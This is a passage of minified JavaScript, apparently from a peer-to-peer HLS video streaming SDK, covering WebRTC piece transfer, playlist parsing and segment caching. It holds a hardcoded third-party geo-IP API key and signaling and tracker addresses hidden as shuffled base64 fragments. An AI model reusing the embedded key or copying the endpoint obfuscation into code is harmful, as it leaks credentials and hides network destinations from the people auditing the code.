this.sendJson({event:events.DC_PEER_SIGNAL,action:"reject",to_peer_id:e,from_peer_id:t,reason:r,fatal:i})}sendMetaData(e,t,r=0){this.isInitiator&&(this.timeSendRequest=performance.now()),this.sendJson({event:events.DC_METADATA,field:e,platform:events.DC_PLAT_WEB,mobile:!!platform_default().isMobile(),channel:this.channel,version:"2.2.0",sequential:t,peers:r})}sendPartialBuffer(e,t,r={}){this.sendMsgPiece(e,r);for(let e=0;e<t.length;e++)this.send(t[e])}sendMsgPiece(e,t={}){e.ext||(e.ext={}),e.ext.from&&t.from&&(t.from=`${e.ext.from}->${t.from}`),t.incompletes&&e.ext.incompletes&&(t.incompletes+=e.ext.incompletes),t=Object.assign({},e.ext,t);const r={...e,ext:t};this.sendJson(r)}sendBuffer(e,t,r,i={}){const n=i.reverse||void 0;delete i.reverse;let s=r.byteLength,a=0,o=0;s%this.packetSize==0?o=s/this.packetSize:(o=Math.floor(s/this.packetSize)+1,a=s%this.packetSize);let l={event:events.DC_PIECE,attachments:o,seg_id:t,sn:e,level:i.level,size:s,reverse:n};delete i.level,this.sendMsgPiece(l,i);const h=dividePayload(r,this.packetSize,o,a);this._sendBufferArray(h,n),this.uploading=!1,this.timeSendPiece=performance.now()}get downloadNum(){return this.downloading?this.sendReqQueue.length+1:0}requestDataById(e,t,r=!1,i={}){const n={event:events.DC_REQUEST,seg_id:e,sn:t,...i,urgent:r};this.downloading?(this.logger.info(`${this.remotePeerId} add req ${e} in queue`),r?this.sendReqQueue.unshift(n):this.sendReqQueue.push(n)):this._realRequestData(n)}requestDataBySN(e,t=!1,r={}){const i={event:events.DC_REQUEST,sn:e,...r,urgent:t};this.downloading?(this.logger.info(`add req ${e} in queue`),t?this.sendReqQueue.unshift(i):this.sendReqQueue.push(i)):this._realRequestData(i)}_sendBufferArray(e,t=!1){if(t)for(let t=e.length-1;t>=0;t--)this.send(e[t]);else for(let t=0;t<e.length;t++)this.send(e[t])}_realRequestData(e){this.sendJson(e),this.timeSendRequest=performance.now(),this.downloading=!0}shouldWaitForRemain(e){return 0!==this.bufArr.length&&(0!==this.timeReceivePiece&&this.currentLoadSpeed()>=this.minRequiredSpeed(e))}close(e){this.emit(events.DC_CLOSE,e)}receiveSignal(e){e.type||e.candidate||(this.cpr=SIGNAL_PACK_VER,e=unpack(e,this.cpr+"")),e&&this._datachannel.signal(e)}_notifyDownloadListenersAbort(e){for(let t of this.downloadListeners){const{handler:r}=t;r(this.bufSN,this.segId,!0,e)}this.downloadListeners=[]}destroy(e=!0){this.logger.info(`destroy datachannel ${this.channelId}`),this.chokeTimer&&clearTimeout(this.chokeTimer),this.connTimeout&&clearTimeout(this.connTimeout),this.uploading&&this.sendMsgPieceAbort("peer is closing"),this._notifyDownloadListenersAbort("upstream peer is closed");let t={event:events.DC_CLOSE,fatal:e};this.sendJson(t),this._datachannel.removeAllListeners(),this.removeAllListeners(),this._datachannel.destroy(),this.engine=null}_handleBinaryMsg(e){const{attachments:t,level:r,reverse:i}=this.pieceMsg;this.bufArr.push(e),this.remainAttachments--;let n=i?this.remainAttachments+1:t-this.remainAttachments;const s=0===this.remainAttachments;if(this.emit(events.DC_PIECE_DATA,this.bufSN,this.segId,e,n,s,this.pieceMsg),this.downloadListeners.length>0)for(let t of this.downloadListeners){const{handler:r}=t;r(this.bufSN,this.segId,!1,e,s)}if(s){if(this.downloadListeners=[],this.timeSendRequest>0){const e=this.expectedSize/(performance.now()-this.timeSendRequest);this.weight=this.weight>0?ALPHA*this.weight+(1-ALPHA)*e:e}this.sendJson({event:events.DC_PIECE_ACK,sn:this.bufSN,seg_id:this.segId,level:r,size:this.expectedSize,miss:this.miss||void 0}),this.timeSendRequest=0,this.timeReceivePiece=0,this._sendNextReq()||(this.downloading=!1),this._handleBinaryData(i)}}_sendNextReq(){if(this.sendReqQueue.length>0){const e=this.sendReqQueue.shift();return this.logger.info(`get msg from sendReqQueue ${JSON.stringify(e)}`),this._realRequestData(e),!0}return!1}_handlePlaylist(e){const{url:t,data:r,seq:i}=e;this.playlistMap.set(t,{data:r,seq:i})}getLatestPlaylist(e,t){if(!this.playlistMap.has(e))return null;const r=this.playlistMap.get(e);return r.seq<=t?null:r}_handleMetadata(e){const{logger:t}=this;if(this.isInitiator){const e=performance.now()-this.timeSendRequest;e>0&&(this.weight=1e5/e,t.info(`handle Metadata from ${this.remotePeerId} initial weight ${this.weight}`)),this.timeSendRequest=0}const r=e.channel;if(!r)return t.error(`peer channel ${r} is null!`),void this.emit(events.DC_ERROR,!0);if(this.channel!==r)return t.error(`peer channel ${r} not matched!`),void this.emit(events.DC_ERROR,!0);switch(e.platform){case events.DC_PLAT_ANDROID:this.platform=events.DC_PLAT_ANDROID;break;case events.DC_PLAT_IOS:this.platform=events.DC_PLAT_IOS;break;case events.DC_PLAT_WEB:this.platform=events.DC_PLAT_WEB}if(this.mobile=e.mobile||!1,this.mobileWeb=this.mobile&&this.platform===events.DC_PLAT_WEB||!1,this.sequential=e.sequential,this.sequential!==this.typeExpected)return t.error(`peer sequential type ${this.sequential} not matched!`),void this.emit(events.DC_ERROR,!0);if(t.info(`${this.remotePeerId} platform ${this.platform} sequential ${this.sequential}`),e.peers&&(this.peersConnected+=e.peers,t.info(`${this.remotePeerId} now has ${this.peersConnected} peers`)),this.emit(events.DC_METADATA,e),e.field&&!this.config.live&&e.sequential){const{field:t}=e;if(Array.isArray(t))this._handleField(t);else for(let e in t)this._handleField(t[e])}}_handleField(e){e.forEach((e=>{e>=0&&(e<this.startSN&&(this.startSN=e),e>this.endSN&&(this.endSN=e))}))}_handleStats(e){this.gotStatsTs=getCurrentTs();const t=e.total_conns;t>0&&this.peersConnected!==t&&(this.peersConnected=t,this.logger.info(`${this.remotePeerId} now has ${this.peersConnected} peers`)),e.level&&(this.currentLevel=e.level)}_handleRequestMsg(e){this.uploading?this.logger.warn(`${this.remotePeerId} is uploading when receive request`):(this.uploading=!0,this.emit(events.DC_REQUEST,e))}_handlePieceAck(e){0!==this.timeSendPiece&&(this.uploadSpeed=Math.round(e.size/(performance.now()-this.timeSendPiece)*2),this.timeSendPiece=0,this.logger.info(`${this.remotePeerId} uploadSpeed is ${this.uploadSpeed}`)),e.miss>0&&this.logger.warn(`peer ${this.remotePeerId} miss ${e.miss}`)}_prepareForBinary(e,t,r,i){this.bufArr=[],this.remainAttachments=e,this.segId=t,this.bufSN=r,this.expectedSize=i}_handleBinaryData(e=!1){if(this.listenerCount(events.DC_RESPONSE)>0){e&&this.bufArr.reverse();let t=utils_buffer.l.concat(this.bufArr);const r=t.byteLength;if(r===this.expectedSize){let e=new Uint8Array(t).buffer;const r=new core_segment(this.bufSN,this.segId,e,this.remotePeerId,this.pieceMsg.level);this.emit(events.DC_RESPONSE,r,this.weight)}else this.logger.error(`${this.segId} expectedSize ${this.expectedSize} not equal to byteLength ${r}`)}this.segId="",this.bufArr=[],this.expectedSize=-1}checkIfNeedChoke(e=!1){const{logger:t}=this,r=performance.now()-this.timeSendRequest;if(!e&&r<1500)t.info(`duration ${r} no need choke`);else if(this.miss++,t.info(`${this.remotePeerId} miss ${this.miss}`),this.miss>DC_TOLERANCE&&!this.choked){this.choked=!0;const e=30*this.miss;e<=150?(t.warn(`datachannel ${this.channelId} is choked`),this.chokeTimer=setTimeout((()=>{this.choked=!1,t.warn(`datachannel ${this.channelId} is unchoked`)}),1e3*e)):t.warn(`datachannel ${this.channelId} is choked permanently`)}}loadtimeout(){const{logger:e,bufArr:t,pieceMsg:r}=this;return e.warn(`timeout while downloading from ${this.remotePeerId}, ${t.length} of ${r.attachments} packets loaded`),t.length>0&&t.length===r.attachments?(this._handleBinaryData(),!1):(this.emit(events.DC_TIMEOUT),this.checkIfNeedChoke(),!0)}sendMsgPieceAbort(e){this.uploading=!1,this.sendJson({event:events.DC_PIECE_ABORT,reason:e})}loadedBytes(){let e=0;for(let t=0;t<this.bufArr.length;t++)e+=this.bufArr[t].byteLength;return e}currentLoadSpeed(){return 0===this.timeReceivePiece?0:this.loadedBytes()/(performance.now()-this.timeReceivePiece)}minRequiredSpeed(e){return(this.pieceMsg.size-this.loadedBytes())/e}}function dividePayload(e,t,r,i){let n=[];if(i){let s;for(let i=0;i<r-1;i++)s=e.slice(i*t,(i+1)*t),n.push(s);s=e.slice(e.byteLength-i,e.byteLength),n.push(s)}else{let i;for(let s=0;s<r;s++)i=e.slice(s*t,(s+1)*t),n.push(i)}return n}const peer=peer_Peer,players={DPlayer:"dplayer",CBPlayer:"cbplayer",jwplayer:"jwplayer",videojs:"videojs",Clappr:"clappr",ckplayer:"ckplayer",MediaElementPlayer:"mediaelement",MediaElement:"mediaelement",TcPlayer:"tcplayer",flowplayer:"flowplayer",Chimee:"chimee",ChimeePlayer:"chimee",HlsJsPlayer:"xgplayer",fluidPlayer:"fluidplayer",OpenPlayer:"openplayer",Plyr:"plyr",Playerjs:"playerjs",Aliplayer:"aliplayer",shaka:"shakaplayer"};function player_detector(){let e;for(let t in players)if(window[t]){e=players[t];break}return e}const SAM={_:"nllL",f:"d3NzJ",ss:"==",3:"TNBLy9z",8:"aWduY",u:"mNvbQ",qa:"WwuY2RuY"};class EngineBase extends(events_default()){constructor(e={}){if(super(),this.p2pEnabled=!(!1===e.p2pEnabled||"0"===getQueryParam("_p2p")),e.tag&&e.tag.length>20)throw new Error("Tag is too long");if(e.appName&&e.appName.length>30)throw new Error("appName is too long");if(e.appId&&e.appId.length>30)throw new Error("appId is too long");if(e.token&&e.token.length>20)throw new Error("Token is too long")}initLogger(){const{config:e}=this;e.showSlogan&&"en"===navLang()&&console.log(`%cEmpower your users to become the unlimitedly scalable CDN!\n%c${getHomeUrl()}`,"color: dodgerblue; padding:20px 0; font-size: x-large","font-size: medium; padding-bottom:15px");const t=new utils_logger(e.logLevel);return e.logger=this.logger=t,t}makeChannelId(e,t){if(!e||"string"!=typeof e){const e="token is required while using customized channelId!";throw console.error(e),new Error(e)}return(r,i)=>`${e}-${t(r,i)}`}makeSignalId(){let e="";const{config:t}=this,r=decodeURIComponent(window.atob(SAM.f+SAM[3]+SAM[8]+SAM.qa+SAM._+SAM.u+SAM.ss));if(t.wsSignalerAddr){let i;"object"!=typeof t.wsSignalerAddr||t.wsSignalerAddr.backup?"string"==typeof t.wsSignalerAddr&&(i=t.wsSignalerAddr):i=t.wsSignalerAddr.main,i===r&&(i=void 0),i&&(e=url_toolkit_default().parseURL(i).netLoc.substr(2))}else t.wsSignalerAddr=r;return e}get commonBrowserInfo(){const e=platform_default().getPlatform(),t=platform_default().getNetType()||"wifi";return this.netType=t,{device:e,netType:t,player:player_detector()||void 0}}setupWindowListeners(e){const t=["iPad","iPhone"].indexOf(navigator.platform)>=0?"pagehide":"beforeunload",r=()=>{this.fetcher&&this.fetcher.postStatsWithBeacon(),this.p2pEnabled&&this.disableP2P(),window.removeEventListener(t,r)};e?window.removeEventListener(t,r):window.addEventListener(t,r)}destroy(){this.disableP2P(!0),this.removeAllListeners(),this.setupWindowListeners(!0)}enableP2P(){return this.p2pEnabled?null:(this.logger&&this.logger.info("enable P2P"),this.config.p2pEnabled=this.p2pEnabled=!0,this.browserInfo?(this._init(this.channel,this.browserInfo),this):null)}get version(){return EngineBase.version}static isSupported(){const e=getBrowserRTC();return!(!e||void 0===e.RTCPeerConnection.prototype.createDataChannel)}}EngineBase.version="2.2.0",EngineBase.protocolVersion=peer.VERSION;const engine_base=EngineBase;function tryGetVideoElement(e){if(e){if("string"==typeof e)return document.querySelector(e);if("[object HTMLVideoElement]"===Object.prototype.toString.call(e))return e}return document.getElementsByTagName("video")[0]}function calRangeWithDoubleBuffer(e,t,r,i=0,n=0){let s="bytes=";return s=t?0===n?`${s}${i}-${r-1-t.byteLength}`:`${s}${i}-${n-t.byteLength}`:0===n?`${s}${i}-`:`${s}${i}-${n}`,s}let commonConfig={wsMaxRetries:10,p2pEnabled:!0,wifiOnly:!1,memoryCacheLimit:{pc:838860800,mobile:524288e3},dcDownloadTimeout:25,logLevel:"error",tag:"",webRTCConfig:{},token:void 0,appName:void 0,appId:void 0,prefetchNum:5,showSlogan:!0,trickleICE:!1,announceLocation:"cn",geoIpPreflight:!0,validateSegment:function(e,t){return!0},getStats:function(e,t,r){},getPeerId:function(e){},getPeersInfo:function(e){}};const config=commonConfig;let defaultP2PConfig={...config,httpLoadTime:2,sharePlaylist:!1,useHttpRange:!0,hlsjsInstance:null,proxyOnly:!1,p2pBlackList:["aac","mp3","vtt","webvtt","key"],live:!0,swFile:"./sw.js",swScope:"./",swAutoRegister:!0};const hls_next_config=defaultP2PConfig;class Engine extends engine_base{constructor(e={}){super(e),window.__swP2pEngineHlsActive=!0,this.config=Object.assign({},hls_next_config,e),this.rangeTested=!1,this.lastLevel=0,this.multiBitrate=!1}setup(){let{token:e,channelId:t,segmentId:r}=this.config,i=e=>{const t=url_toolkit_default().parseURL(e);return`${t.netLoc.substr(2)+t.path.substring(0,t.path.lastIndexOf("."))}`},n=(e,t,r,i)=>`${e}-${t}`;t&&"function"==typeof t&&(i=this.makeChannelId(e,t)),r||(this.config.segmentId=n);return{channelIdMaker:i,signalId:this.makeSignalId(),browserInfo:{...this.commonBrowserInfo,tag:this.config.tag||void 0}}}setupElectron(){this.browserInfo.device===utils_platform.device.PC_NATIVE&&(this.browserInfo={...this.browserInfo,app:this.config.appName,bundle:this.config.appId})}getExtraForStats(){const e={};return!this.config.live&&this.media&&(e.pos=Math.round(this.media.currentTime)),this.multiBitrate&&this.currentLevel!==this.lastLevel&&(e.level=this.currentLevel+"",this.lastLevel=this.currentLevel),e}getExtraForPeersRequest(){const e={};return this.multiBitrate&&(e.level=this.currentLevel+""),e}destroy(){window.__swP2pEngineHlsActive=!1,super.destroy()}}class LevelKey{constructor(){this.method=null,this.key=null,this.iv=null,this._uri=null}get uri(){return!this._uri&&this.reluri&&(this._uri=url_toolkit.buildAbsoluteURL(this.baseuri,this.reluri,{alwaysNormalize:!0})),this._uri}}class Fragment{constructor(){this._url=null,this._byteRange=null,this._decryptdata=null,this.tagList=[],this.programDateTime=null,this.rawProgramDateTime=null,this._elementaryStreams={[Fragment.ElementaryStreamTypes.AUDIO]:!1,[Fragment.ElementaryStreamTypes.VIDEO]:!1}}static get ElementaryStreamTypes(){return{AUDIO:"audio",VIDEO:"video"}}get url(){return!this._url&&this.relurl&&(this._url=url_toolkit.buildAbsoluteURL(this.baseurl,this.relurl,{alwaysNormalize:!0})),this._url}set url(e){this._url=e}get byteRange(){if(!this._byteRange&&!this.rawByteRange)return[];if(this._byteRange)return this._byteRange;let e=[];if(this.rawByteRange){const t=this.rawByteRange.split("@",2);if(1===t.length){const t=this.lastByteRangeEndOffset;e[0]=t||0}else e[0]=parseInt(t[1]);e[1]=parseInt(t[0])+e[0],this._byteRange=e}return e}get byteRangeStartOffset(){return this.byteRange[0]}get byteRangeEndOffset(){return this.byteRange[1]}get decryptdata(){return this._decryptdata||(this._decryptdata=this.fragmentDecryptdataFromLevelkey(this.levelkey,this.sn)),this._decryptdata}get endProgramDateTime(){if(!Number.isFinite(this.programDateTime))return null;let e=Number.isFinite(this.duration)?this.duration:0;return this.programDateTime+1e3*e}get encrypted(){return!(!this.decryptdata||null===this.decryptdata.uri||null!==this.decryptdata.key)}addElementaryStream(e){this._elementaryStreams[e]=!0}hasElementaryStream(e){return!0===this._elementaryStreams[e]}createInitializationVector(e){let t=new Uint8Array(16);for(let r=12;r<16;r++)t[r]=e>>8*(15-r)&255;return t}fragmentDecryptdataFromLevelkey(e,t){let r=e;return e&&e.method&&e.uri&&!e.iv&&(r=new LevelKey,r.method=e.method,r.baseuri=e.baseuri,r.reluri=e.reluri,r.iv=this.createInitializationVector(t)),r}}class Level{constructor(e){this.endCC=0,this.endSN=0,this.fragments=[],this.initSegment=null,this.live=!0,this.needSidxRanges=!1,this.startCC=0,this.startSN=0,this.startTimeOffset=null,this.targetduration=0,this.totalduration=0,this.type=null,this.url=e,this.version=null}get hasProgramDateTime(){return!(!this.fragments[0]||!Number.isFinite(this.fragments[0].programDateTime))}}const DECIMAL_RESOLUTION_REGEX=/^(\d+)x(\d+)$/,ATTR_LIST_REGEX=/\s*(.+?)\s*=((?:\".*?\")|.*?)(?:,|$)/g;class AttrList{constructor(e){"string"==typeof e&&(e=AttrList.parseAttrList(e));for(let t in e)e.hasOwnProperty(t)&&(this[t]=e[t])}decimalInteger(e){const t=parseInt(this[e],10);return t>Number.MAX_SAFE_INTEGER?1/0:t}hexadecimalInteger(e){if(this[e]){let t=(this[e]||"0x").slice(2);t=(1&t.length?"0":"")+t;const r=new Uint8Array(t.length/2);for(let e=0;e<t.length/2;e++)r[e]=parseInt(t.slice(2*e,2*e+2),16);return r}return null}hexadecimalIntegerAsNumber(e){const t=parseInt(this[e],16);return t>Number.MAX_SAFE_INTEGER?1/0:t}decimalFloatingPoint(e){return parseFloat(this[e])}enumeratedString(e){return this[e]}decimalResolution(e){const t=DECIMAL_RESOLUTION_REGEX.exec(this[e]);if(null!==t)return{width:parseInt(t[1],10),height:parseInt(t[2],10)}}static parseAttrList(e){let t,r={};for(ATTR_LIST_REGEX.lastIndex=0;null!==(t=ATTR_LIST_REGEX.exec(e));){let e=t[2],i='"';0===e.indexOf(i)&&e.lastIndexOf(i)===e.length-1&&(e=e.slice(1,-1)),r[t[1]]=e}return r}}const attr_list=AttrList,sampleEntryCodesISO={audio:{a3ds:!0,"ac-3":!0,"ac-4":!0,alac:!0,alaw:!0,dra1:!0,"dts+":!0,"dts-":!0,dtsc:!0,dtse:!0,dtsh:!0,"ec-3":!0,enca:!0,g719:!0,g726:!0,m4ae:!0,mha1:!0,mha2:!0,mhm1:!0,mhm2:!0,mlpa:!0,mp4a:!0,"raw ":!0,Opus:!0,samr:!0,sawb:!0,sawp:!0,sevc:!0,sqcp:!0,ssmv:!0,twos:!0,ulaw:!0},video:{avc1:!0,avc2:!0,avc3:!0,avc4:!0,avcp:!0,drac:!0,dvav:!0,dvhe:!0,encv:!0,hev1:!0,hvc1:!0,mjp2:!0,mp4v:!0,mvc1:!0,mvc2:!0,mvc3:!0,mvc4:!0,resv:!0,rv60:!0,s263:!0,svc1:!0,svc2:!0,"vc-1":!0,vp08:!0,vp09:!0}};function isCodecType(e,t){const r=sampleEntryCodesISO[t];return!!r&&!0===r[e.slice(0,4)]}function isCodecSupportedInMp4(e,t){return window.MediaSource.isTypeSupported(`${t||"video"}/mp4;codecs="${e}"`)}const MASTER_PLAYLIST_REGEX=/#EXT-X-STREAM-INF:([^\n\r]*)[\r\n]+([^\r\n]+)/g,MASTER_PLAYLIST_MEDIA_REGEX=/#EXT-X-MEDIA:(.*)/g,LEVEL_PLAYLIST_REGEX_FAST=new RegExp([/#EXTINF:\s*(\d*(?:\.\d+)?)(?:,(.*)\s+)?/.source,/|(?!#)([\S+ ?]+)/.source,/|#EXT-X-BYTERANGE:*(.+)/.source,/|#EXT-X-PROGRAM-DATE-TIME:(.+)/.source,/|#.*/.source].join(""),"g"),LEVEL_PLAYLIST_REGEX_SLOW=/(?:(?:#(EXTM3U))|(?:#EXT-X-(PLAYLIST-TYPE):(.+))|(?:#EXT-X-(MEDIA-SEQUENCE): *(\d+))|(?:#EXT-X-(TARGETDURATION): *(\d+))|(?:#EXT-X-(KEY):(.+))|(?:#EXT-X-(START):(.+))|(?:#EXT-X-(ENDLIST))|(?:#EXT-X-(DISCONTINUITY-SEQ)UENCE:(\d+))|(?:#EXT-X-(DIS)CONTINUITY))|(?:#EXT-X-(VERSION):(\d+))|(?:#EXT-X-(MAP):(.+))|(?:(#)([^:]*):(.*))|(?:(#)(.*))(?:.*)\r?\n?/,MP4_REGEX_SUFFIX=/\.(mp4|m4s|m4v|m4a)$/i;class M3U8Parser{static findGroup(e,t){if(!e)return null;let r=null;for(let i=0;i<e.length;i++){const n=e[i];n.id===t&&(r=n)}return r}static convertAVC1ToAVCOTI(e){let t,r=e.split(".");return r.length>2?(t=r.shift()+".",t+=parseInt(r.shift()).toString(16),t+=("000"+parseInt(r.shift()).toString(16)).substr(-4)):t=e,t}static resolve(e,t){return url_toolkit.buildAbsoluteURL(t,e,{alwaysNormalize:!0})}static parseMasterPlaylist(e,t){let r,i=[];function n(e,t){["video","audio"].forEach((r=>{const i=e.filter((e=>isCodecType(e,r)));if(i.length){const n=i.filter((e=>0===e.lastIndexOf("avc1",0)||0===e.lastIndexOf("mp4a",0)));t[`${r}Codec`]=n.length>0?n[0]:i[0],e=e.filter((e=>-1===i.indexOf(e)))}})),t.unknownCodecs=e}for(MASTER_PLAYLIST_REGEX.lastIndex=0;null!=(r=MASTER_PLAYLIST_REGEX.exec(e));){const e={},s=e.attrs=new attr_list(r[1]);e.url=M3U8Parser.resolve(r[2],t);const a=s.decimalResolution("RESOLUTION");a&&(e.width=a.width,e.height=a.height),e.bitrate=s.decimalInteger("AVERAGE-BANDWIDTH")||s.decimalInteger("BANDWIDTH"),e.name=s.NAME,n([].concat((s.CODECS||"").split(/[ ,]+/)),e),e.videoCodec&&-1!==e.videoCodec.indexOf("avc1")&&(e.videoCodec=M3U8Parser.convertAVC1ToAVCOTI(e.videoCodec)),i.push(e)}return i}static parseMasterPlaylistMedia(e,t,r,i=[]){let n,s=[],a=0;for(MASTER_PLAYLIST_MEDIA_REGEX.lastIndex=0;null!==(n=MASTER_PLAYLIST_MEDIA_REGEX.exec(e));){const e={},o=new attr_list(n[1]);if(o.TYPE===r){if(e.groupId=o["GROUP-ID"],e.name=o.NAME,e.type=r,e.default="YES"===o.DEFAULT,e.autoselect="YES"===o.AUTOSELECT,e.forced="YES"===o.FORCED,o.URI&&(e.url=M3U8Parser.resolve(o.URI,t)),e.lang=o.LANGUAGE,e.name||(e.name=e.lang),i.length){const t=M3U8Parser.findGroup(i,e.groupId);e.audioCodec=t?t.codec:i[0].codec}e.id=a++,s.push(e)}}return s}static parseLevelPlaylist(e,t){let r,i,n=0,s=0,a=new Level(t),o=new LevelKey,l=0,h=null,d=new Fragment,u=null;for(LEVEL_PLAYLIST_REGEX_FAST.lastIndex=0;null!==(r=LEVEL_PLAYLIST_REGEX_FAST.exec(e));){const e=r[1];if(e){d.duration=parseFloat(e);const t=(" "+r[2]).slice(1);d.title=t||null,d.tagList.push(t?["INF",e,t]:["INF",e])}else if(r[3]){if(Number.isFinite(d.duration)){const e=n++;d.start=s,d.levelkey=o,d.sn=e,d.cc=l,d.baseurl=t,d.relurl=(" "+r[3]).slice(1),assignProgramDateTime(d,h),a.fragments.push(d),h=d,s+=d.duration,d=new Fragment}}else if(r[4]){if(d.rawByteRange=(" "+r[4]).slice(1),h){const e=h.byteRangeEndOffset;e&&(d.lastByteRangeEndOffset=e)}}else if(r[5])d.rawProgramDateTime=(" "+r[5]).slice(1),d.tagList.push(["PROGRAM-DATE-TIME",d.rawProgramDateTime]),null===u&&(u=a.fragments.length);else{for(r=r[0].match(LEVEL_PLAYLIST_REGEX_SLOW),i=1;i<r.length&&void 0===r[i];i++);const e=(" "+r[i+1]).slice(1),s=(" "+r[i+2]).slice(1);switch(r[i]){case"#":d.tagList.push(s?[e,s]:[e]);break;case"PLAYLIST-TYPE":a.type=e.toUpperCase();break;case"MEDIA-SEQUENCE":n=a.startSN=parseInt(e);break;case"TARGETDURATION":a.targetduration=parseFloat(e);break;case"VERSION":a.version=parseInt(e);break;case"EXTM3U":break;case"ENDLIST":a.live=!1;break;case"DIS":l++,d.tagList.push(["DIS"]);break;case"DISCONTINUITY-SEQ":l=parseInt(e);break;case"KEY":var c=new attr_list(e),f=c.enumeratedString("METHOD"),g=c.URI,p=c.hexadecimalInteger("IV");f&&(o=new LevelKey,g&&["AES-128","SAMPLE-AES","SAMPLE-AES-CENC"].indexOf(f)>=0&&(o.method=f,o.baseuri=t,o.reluri=g,o.key=null,o.iv=p));break;case"START":let i=new attr_list(e).decimalFloatingPoint("TIME-OFFSET");Number.isFinite(i)&&(a.startTimeOffset=i);break;case"MAP":let h=new attr_list(e);d.relurl=h.URI,d.rawByteRange=h.BYTERANGE,d.baseurl=t,d.sn="initSegment",a.initSegment=d,d=new Fragment,d.rawProgramDateTime=a.initSegment.rawProgramDateTime;break;default:console.warn(`line parsed but not handled: ${r}`)}}}return d=h,d&&!d.relurl&&(a.fragments.pop(),s-=d.duration),a.totalduration=s,a.averagetargetduration=s/a.fragments.length,a.endSN=n-1,a.startCC=a.fragments[0]?a.fragments[0].cc:0,a.endCC=l,!a.initSegment&&a.fragments.length&&a.fragments.every((e=>MP4_REGEX_SUFFIX.test(e.relurl)))&&(console.warn("MP4 fragments found but no init segment (probably no MAP, incomplete M3U8), trying to fetch SIDX"),d=new Fragment,d.relurl=a.fragments[0].relurl,d.baseurl=t,d.level=id,d.sn="initSegment",a.initSegment=d,a.needSidxRanges=!0),u&&backfillProgramDateTimes(a.fragments,u),a}}function backfillProgramDateTimes(e,t){let r=e[t];for(let i=t-1;i>=0;i--){const t=e[i];t.programDateTime=r.programDateTime-1e3*t.duration,r=t}}function assignProgramDateTime(e,t){e.rawProgramDateTime?e.programDateTime=Date.parse(e.rawProgramDateTime):t&&t.programDateTime&&(e.programDateTime=t.endProgramDateTime),Number.isFinite(e.programDateTime)||(e.programDateTime=null,e.rawProgramDateTime=null)}const LIVE_MAX_BUFFER_SIZE=36700160,MIN_SEGMENTS_KEEP=5;class SegmentCache extends(events_default()){constructor(e,t){super(),this.logger=t.logger;const r=e.browserInfo.device;this.maxBufSize=r===platform_default().device.PC_WEB||r===platform_default().device.PC_NATIVE?t.memoryCacheLimit.pc:t.memoryCacheLimit.mobile,t.live&&(this.maxBufSize=LIVE_MAX_BUFFER_SIZE),this._segPool=new Map,this._currBufSize=0,this.id2Sn=new Map,this.overflowed=!1}get currBufSize(){return this._currBufSize}hasSegOfId(e){const t=this.id2Sn.get(e);return!!this._segPool.has(t)&&this._segPool.get(t).some((t=>t.segId===e))}getSegById(e){const t=this.id2Sn.get(e);if(!this._segPool.has(t))return null;const r=this._segPool.get(t);for(let t of r)if(t.segId===e)return t;return null}getSegIdBySN(e){if(this._segPool.has(e)){return this._segPool.get(e)[0].segId}return null}_calSegPoolSize(){let e=0;return this._segPool.forEach((t=>{t.forEach((t=>{e+=t.size}))})),e}putSeg(e){this._currBufSize>=1.5*this.maxBufSize&&(this._currBufSize=this._calSegPoolSize(),this._currBufSize>=1.5*this.maxBufSize&&(this.clear(),this.overflowed=!1)),this._addSeg(e)}_addSeg(e){const{logger:t}=this,{segId:r,sn:i,size:n}=e;if(this.id2Sn.set(r,i),this._segPool.has(i)){this._segPool.get(i).push(e)}else this._segPool.set(i,[e]);this._currBufSize+=parseInt(n);const s=this._segPool.size;if(this.emit(`${events.BM_ADDED_SN_}${e.sn}`,e),this.emit(events.BM_SEG_ADDED,e),this._currBufSize<this.maxBufSize||s<=MIN_SEGMENTS_KEEP)return;let a=Array.from(this._segPool.keys()).sort(((e,t)=>e-t)),o=0;do{if(o++>10){console.error("too much loops in SegmentCache");break}const e=a.shift();if(void 0===e){t.error("lastSN not found");continue}const r=a[0],i=this._segPool.get(e);if(!i){t.error("lastSeg not found");continue}let n=0;i.forEach((e=>{n+=e.size})),this._currBufSize-=parseInt(n),this._segPool.delete(e),i.forEach((i=>{this.id2Sn.delete(i.segId),t.info(`pop seg ${i.segId} size ${i.size}`),this.emit(events.BM_LOST,{sn:e,segId:i.segId,next:r,level:i.level})})),t.info(`pop sn ${e} size ${n} currBufSize ${this._currBufSize}`),this.overflowed||(this.overflowed=!0)}while(this._currBufSize>=this.maxBufSize&&this._segPool.size>MIN_SEGMENTS_KEEP)}clear(){this.logger.warn("clear segment cache"),this._segPool.clear(),this.id2Sn.clear(),this._currBufSize=0}destroy(){this.clear(),this.removeAllListeners()}}const segment_cache=SegmentCache;var md5=__webpack_require__(485),md5_default=__webpack_require__.n(md5),err_code=__webpack_require__(934),err_code_default=__webpack_require__.n(err_code);const setItem=(e,t)=>{"object"==typeof t&&(t=JSON.stringify(t)),localStorage.setItem(e,t)},hasItemUnexpired=e=>{const t=localStorage.getItem(e);try{const e=JSON.parse(t);if(e.duration&&e.startTime){return(new Date).getTime()-e.startTime<e.duration}return!1}catch(e){return!1}},getItem=e=>{const t=localStorage.getItem(e);try{const e=JSON.parse(t);return e.value?e.value:e}catch(e){return t}},removeItem=e=>{localStorage.removeItem(e)},removeAllItem=()=>{localStorage.clear()},setItemWithExpiration=(e,t,r)=>{let i={value:t,duration:r,startTime:(new Date).getTime()};setItem(e,i)},MIN_CONNS=8,BASE_REPORT_INTERVAL=20,IPAPI_URL="//pro.ip-api.com/json?fields=2181826&key=XOpiansRgYxGTho",IPAPI_TIMEOUT=600,GEOIP_KEY="SW_GEOIP_KEY",GEOIP_EXPIRATION=2592e5,GEOIP_EXPIRATION_MOBILE=432e5,URL_MAP={q:"uZ2luZS5u",v:"Y24u",3:"Y2Ru",0:"yMzMzL2Js",l:"Nvb",zz:"aHR0cHMlM",n:"YnllLm",h:"ZXQlM0E",7:"Q==",df:"0EvL",6:"3AycGV",x:"aGsuc3d",kj:"dHJhY",a:"2tlci5","+":"oZHR2","=":"Y2xvdW",w:"QuY29t","{":"3ZWIz","?":"LWxhY",$:"i5jb20=",o:"hcm1j",xo:"bG91ZC",sb:"5uZXQ="},_httpDownloaded=Symbol("httpDownloaded"),_p2pDownloaded=Symbol("p2pDownloaded"),_p2pUploaded=Symbol("p2pUploaded");class Server{constructor(e,t,r,i,n){let 